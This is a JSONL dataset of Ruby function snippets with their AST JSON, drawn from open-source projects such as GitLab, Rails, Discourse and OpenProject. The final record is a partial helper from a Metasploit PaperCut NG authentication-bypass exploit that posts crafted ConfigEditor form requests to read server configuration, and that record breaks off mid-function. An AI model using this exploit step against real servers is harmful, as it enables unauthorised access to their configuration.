{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/container_registry/container_registry_helper.rb","start_line":5,"raw_source":"def container_repository_gid_prefix\n      \"gid://#{GlobalID.app}/#{ContainerRepository.name}/\"\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"container_repository_gid_prefix\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"gid://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GlobalID\"]},\"app\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContainerRepository\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}","id":"02b5e492-747b-425e-8abc-da0224b13323"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/notes_helper.rb","start_line":81,"raw_source":"def note_human_max_access(note)\n    note.project.team.human_max_access(note.author_id)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"note_human_max_access\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"note\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"project\"]},\"team\"]},\"human_max_access\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"author_id\"]}]}]}","id":"b237dbff-84b2-472d-9c7e-9cee126c0390"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/support/integration/adapters/sneakers.rb","start_line":69,"raw_source":"def bunny_publisher\n      @bunny_publisher ||= begin\n        p = ActiveJob::QueueAdapters::SneakersAdapter::JobWrapper.send(:publisher)\n        p.ensure_connection!\n        p\n      end\n    end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"bunny_publisher\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@bunny_publisher\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveJob\"]},\"QueueAdapters\"]},\"SneakersAdapter\"]},\"JobWrapper\"]},\"send\",{\"type\":\"sym\",\"children\":[\"publisher\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"ensure_connection!\"]},{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}","id":"ca0c4709-9b30-4fc6-9889-4c79626413e6"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-patreon/plugin.rb","start_line":133,"raw_source":"def raw_info\n    @raw_info ||=\n      begin\n        response =\n          client.request(\n            :get,\n            \"https://api.patreon.com/oauth2/api/current_user\",\n            headers: {\n              \"Authorization\" => \"Bearer #{access_token.token}\",\n            },\n            parse: :json,\n          )\n        response.parsed\n      end\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@raw_info\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"str\",\"children\":[\"https://api.patreon.com/oauth2/api/current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Authorization\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Bearer \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"access_token\"]},\"token\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parse\"]},{\"type\":\"sym\",\"children\":[\"json\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"parsed\"]}]}]}]}","id":"1714fa27-d267-4f33-b011-97972dd4b458"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-user-notes/app/controllers/discourse_user_notes/user_notes_controller.rb","start_line":17,"raw_source":"def create\n      user = User.where(id: params[:user_note][:user_id]).first\n      raise Discourse::NotFound if user.blank?\n      extras = {}\n      if post_id = params[:user_note][:post_id]\n        extras[:post_id] = post_id\n      end\n\n      user_note =\n        DiscourseUserNotes.add_note(user, params[:user_note][:raw], current_user.id, extras)\n\n      render json: create_json(user_note)\n    end","complexity_score":29.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_note\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"NotFound\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"extras\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_note\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"post_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extras\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"lvar\",\"children\":[\"post_id\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"user_note\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseUserNotes\"]},\"add_note\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_note\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"raw\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"extras\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"create_json\",{\"type\":\"lvar\",\"children\":[\"user_note\"]}]}]}]}]}]}]}","id":"5e950a7c-ed2d-4889-845a-50237d340f7c"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/autocompleter/ng_select_autocomplete_helpers.rb","start_line":137,"raw_source":"def select_autocomplete(element,\n                            query:,\n                            select_text: nil,\n                            results_selector: nil,\n                            wait_dropdown_open: true,\n                            wait_for_fetched_options: true)\n      target_dropdown = search_autocomplete(element,\n                                            query:,\n                                            results_selector:,\n                                            wait_dropdown_open:,\n                                            wait_for_fetched_options:)\n\n      ##\n      # If a specific select_text is given, use that to locate the match,\n      # otherwise use the query\n      text = select_text.presence || query\n\n      # click the element to select it\n      target_dropdown.first(\".ng-option\", text:, wait: 15).click\n    end","complexity_score":7.65,"ast_json":"{\"type\":\"def\",\"children\":[\"select_autocomplete\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]},{\"type\":\"kwarg\",\"children\":[\"query\"]},{\"type\":\"kwoptarg\",\"children\":[\"select_text\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"results_selector\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"wait_dropdown_open\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"wait_for_fetched_options\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target_dropdown\",{\"type\":\"send\",\"children\":[null,\"search_autocomplete\",{\"type\":\"lvar\",\"children\":[\"element\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"lvar\",\"children\":[\"query\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"results_selector\"]},{\"type\":\"lvar\",\"children\":[\"results_selector\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait_dropdown_open\"]},{\"type\":\"lvar\",\"children\":[\"wait_dropdown_open\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait_for_fetched_options\"]},{\"type\":\"lvar\",\"children\":[\"wait_for_fetched_options\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"select_text\"]},\"presence\"]},{\"type\":\"lvar\",\"children\":[\"query\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_dropdown\"]},\"first\",{\"type\":\"str\",\"children\":[\".ng-option\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"int\",\"children\":[15]}]}]}]},\"click\"]}]}]}","id":"a01c8945-8102-473a-b3ba-4c7830137b7b"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/email_log_serializer.rb","start_line":28,"raw_source":"def has_bounce_key\n    object.bounce_key.present?\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"has_bounce_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"bounce_key\"]},\"present?\"]}]}","id":"f5d289e9-bb5d-4875-9022-175d28cc590d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/expression/lexeme/matches.rb","start_line":11,"raw_source":"def evaluate(variables = {})\n              text = @left.evaluate(variables)\n              regexp = @right.evaluate(variables)\n\n              return false unless regexp\n\n              # All variables are evaluated as strings, even if they are regexp strings.\n              # So, we need to convert them to regexp objects.\n              regexp = Lexeme::Pattern.build_and_evaluate(regexp, variables)\n\n              regexp.scan(text.to_s).present?\n            end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"evaluate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"variables\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@left\"]},\"evaluate\",{\"type\":\"lvar\",\"children\":[\"variables\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"regexp\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@right\"]},\"evaluate\",{\"type\":\"lvar\",\"children\":[\"variables\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"regexp\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"regexp\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Lexeme\"]},\"Pattern\"]},\"build_and_evaluate\",{\"type\":\"lvar\",\"children\":[\"regexp\"]},{\"type\":\"lvar\",\"children\":[\"variables\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"regexp\"]},\"scan\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"to_s\"]}]},\"present?\"]}]}]}","id":"44cb28ce-8c6e-4c08-9a7d-137a553ed350"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/utilities/sql_representer_walker.rb","start_line":70,"raw_source":"def to_json(*)\n          ActiveRecord::Base.connection.select_one(sql)[\"json\"]\n        end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"to_json\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"select_one\",{\"type\":\"send\",\"children\":[null,\"sql\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"json\"]}]}]}","id":"9e7cccbc-af6a-442a-afef-610e50012ece"}
{"repo_name":"zeitwerk","file_path":"./repos/zeitwerk/test/lib/test_gem_inflector.rb","start_line":6,"raw_source":"def with_setup\n    files = [\n      [\"lib/my_gem.rb\", <<-EOS],\n        loader = Zeitwerk::Loader.for_gem\n        loader.enable_reloading\n        loader.setup\n\n        module MyGem\n        end\n      EOS\n      [\"lib/my_gem/foo.rb\", \"MyGem::Foo = true\"],\n      [\"lib/my_gem/version.rb\", \"MyGem::VERSION = '1.0.0'\"],\n      [\"lib/my_gem/ns/version.rb\", \"MyGem::Ns::Version = true\"]\n    ]\n    with_files(files) do\n      with_load_path(\"lib\") do\n        assert require(\"my_gem\")\n        yield\n      end\n    end\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"with_setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"files\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"lib/my_gem.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        loader = Zeitwerk::Loader.for_gem\\n\"]},{\"type\":\"str\",\"children\":[\"        loader.enable_reloading\\n\"]},{\"type\":\"str\",\"children\":[\"        loader.setup\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        module MyGem\\n\"]},{\"type\":\"str\",\"children\":[\"        end\\n\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"lib/my_gem/foo.rb\"]},{\"type\":\"str\",\"children\":[\"MyGem::Foo = true\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"lib/my_gem/version.rb\"]},{\"type\":\"str\",\"children\":[\"MyGem::VERSION = '1.0.0'\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"lib/my_gem/ns/version.rb\"]},{\"type\":\"str\",\"children\":[\"MyGem::Ns::Version = true\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_files\",{\"type\":\"lvar\",\"children\":[\"files\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_load_path\",{\"type\":\"str\",\"children\":[\"lib\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"my_gem\"]}]}]},{\"type\":\"yield\",\"children\":[]}]}]}]}]}]}","id":"adbb4517-5ee1-47d4-b54b-a7defb859e8c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/master_pipeline_status.rb","start_line":32,"raw_source":"def applicable_mr?\n        helper.mr_target_branch == 'master' && ENV['CI_MERGE_REQUEST_EVENT_TYPE'] == 'merged_result'\n      end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"applicable_mr?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helper\"]},\"mr_target_branch\"]},\"==\",{\"type\":\"str\",\"children\":[\"master\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CI_MERGE_REQUEST_EVENT_TYPE\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"merged_result\"]}]}]}]}","id":"f58d78e5-8461-4e44-a622-ebb5192b3842"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/workers/notifications/create_date_alerts_notifications_job_spec.rb","start_line":153,"raw_source":"def run_job(local_time: \"1:04\", timezone: timezone_paris)\n    travel_to(timezone_time(local_time, timezone)) do\n      job.perform_now(user)\n\n      yield\n    end\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run_job\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"local_time\",{\"type\":\"str\",\"children\":[\"1:04\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"timezone\",{\"type\":\"send\",\"children\":[null,\"timezone_paris\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"travel_to\",{\"type\":\"send\",\"children\":[null,\"timezone_time\",{\"type\":\"lvar\",\"children\":[\"local_time\"]},{\"type\":\"lvar\",\"children\":[\"timezone\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job\"]},\"perform_now\",{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"yield\",\"children\":[]}]}]}]}","id":"b39fb9e4-84a5-469d-bdeb-d333c8b05bce"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/boards_helper.rb","start_line":36,"raw_source":"def group_id\n    return @group.id if board.group_board?\n\n    @project&.group&.id\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"group_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"board\"]},\"group_board?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@group\"]},\"id\"]}]},null]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"group\"]},\"id\"]}]}]}","id":"280e95ce-a42c-43c6-8ebb-99cb18daddbd"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/tabular_form_builder.rb","start_line":144,"raw_source":"def select(field, choices, options = {}, html_options = {})\n    html_options[:class] = Array(html_options[:class]) + %w(form--select)\n    if html_options[:container_class].present?\n      options[:container_class] = html_options[:container_class]\n    end\n\n    if field_has_errors?(field)\n      add_error_class(html_options)\n    end\n\n    merge_required_attributes(options[:required], html_options)\n    label_for_field(field, options) + container_wrap_field(super, \"select\", options)\n  end","complexity_score":20.7,"ast_json":"{\"type\":\"def\",\"children\":[\"select\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]},{\"type\":\"arg\",\"children\":[\"choices\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"html_options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"class\"]}]}]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"form--select\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"container_class\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"container_class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"container_class\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"field_has_errors?\",{\"type\":\"lvar\",\"children\":[\"field\"]}]},{\"type\":\"send\",\"children\":[null,\"add_error_class\",{\"type\":\"lvar\",\"children\":[\"html_options\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"merge_required_attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"required\"]}]},{\"type\":\"lvar\",\"children\":[\"html_options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"label_for_field\",{\"type\":\"lvar\",\"children\":[\"field\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"container_wrap_field\",{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"str\",\"children\":[\"select\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}","id":"2b2f502a-1649-48e7-b29c-82a8ea6da952"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/nextcloud/commands/rename_file_command.rb","start_line":37,"raw_source":"def initialize(*)\n              super\n              @file_info_query = Queries::FileInfoQuery.new(@storage)\n            end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@file_info_query\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Queries\"]},\"FileInfoQuery\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@storage\"]}]}]}]}]}","id":"539f3466-1e92-47a6-870d-21bdd23965e1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/database_connection_info.rb","start_line":64,"raw_source":"def uses_load_balancing?\n        !!uses_load_balancing\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"uses_load_balancing?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"uses_load_balancing\"]},\"!\"]},\"!\"]}]}","id":"62a81954-9099-414e-9c72-ea398a295023"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/incident_management/process_alert_worker_v2.rb","start_line":15,"raw_source":"def perform(alert_id)\n      return unless alert_id\n\n      alert = find_alert(alert_id)\n      return unless alert\n\n      result = create_issue_for(alert)\n      return if result.success?\n\n      log_warning(alert, result)\n    end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"alert_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"alert_id\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"alert\",{\"type\":\"send\",\"children\":[null,\"find_alert\",{\"type\":\"lvar\",\"children\":[\"alert_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"alert\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"create_issue_for\",{\"type\":\"lvar\",\"children\":[\"alert\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"success?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"log_warning\",{\"type\":\"lvar\",\"children\":[\"alert\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"652b64b8-4c49-47d5-8106-a3ad19f5dd51"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/workers/fasp/announce_account_lifecycle_event_worker.rb","start_line":16,"raw_source":"def announce(subscription, uri, event_type)\n    Fasp::Request.new(subscription.fasp_provider).post('/data_sharing/v0/announcements', body: {\n      source: {\n        subscription: {\n          id: subscription.id.to_s,\n        },\n      },\n      category: 'account',\n      eventType: event_type,\n      objectUris: [uri],\n    })\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"announce\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"subscription\"]},{\"type\":\"arg\",\"children\":[\"uri\"]},{\"type\":\"arg\",\"children\":[\"event_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fasp\"]},\"Request\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscription\"]},\"fasp_provider\"]}]},\"post\",{\"type\":\"str\",\"children\":[\"/data_sharing/v0/announcements\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subscription\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscription\"]},\"id\"]},\"to_s\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"eventType\"]},{\"type\":\"lvar\",\"children\":[\"event_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"objectUris\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}]}]}]}]}]}","id":"5dc7e224-98ff-4b34-b9e9-e1ca276d535f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/import/source_users/undo_keep_as_placeholder_service.rb","start_line":41,"raw_source":"def undo_keep_as_placeholder\n        import_source_user.undo_keep_as_placeholder\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"undo_keep_as_placeholder\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import_source_user\"]},\"undo_keep_as_placeholder\"]}]}","id":"b9377590-befd-41ae-a839-db7707293e4c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/papercut_ng_auth_bypass.rb","start_line":93,"raw_source":"def get_config_option(name)\n    # 1) do a quickfind (setting the tapestry state)\n    res = send_request_cgi(\n      {\n        'method' => 'POST',\n        'uri' => normalize_uri(target_uri.path),\n        'keep_cookies' => true,\n        'headers' => {\n          'Origin' => full_uri\n        },\n        'vars_post' => {\n          'service' => 'direct/1/ConfigEditor/quickFindForm',\n          'sp' => 'S0',\n          'Form0' => '$TextField,doQuickFind,clear',\n          '$TextField' => name,\n          'doQuickFind' => 'Go'\n        }\n      }\n    )\n    # 2) parse and return the result\n    return nil unless res && res.code == 200 && (html = res.get_html_document)\n    return nil unless (td = html.xpath(\"//td[@class='propertyNameColumnValue']\"))\n    return nil unless td.count == 1 && td.text == name\n\n    value_input = html.xpath(\"//input[@name='$TextField$0']\")\n    value_input[0]['value']\n  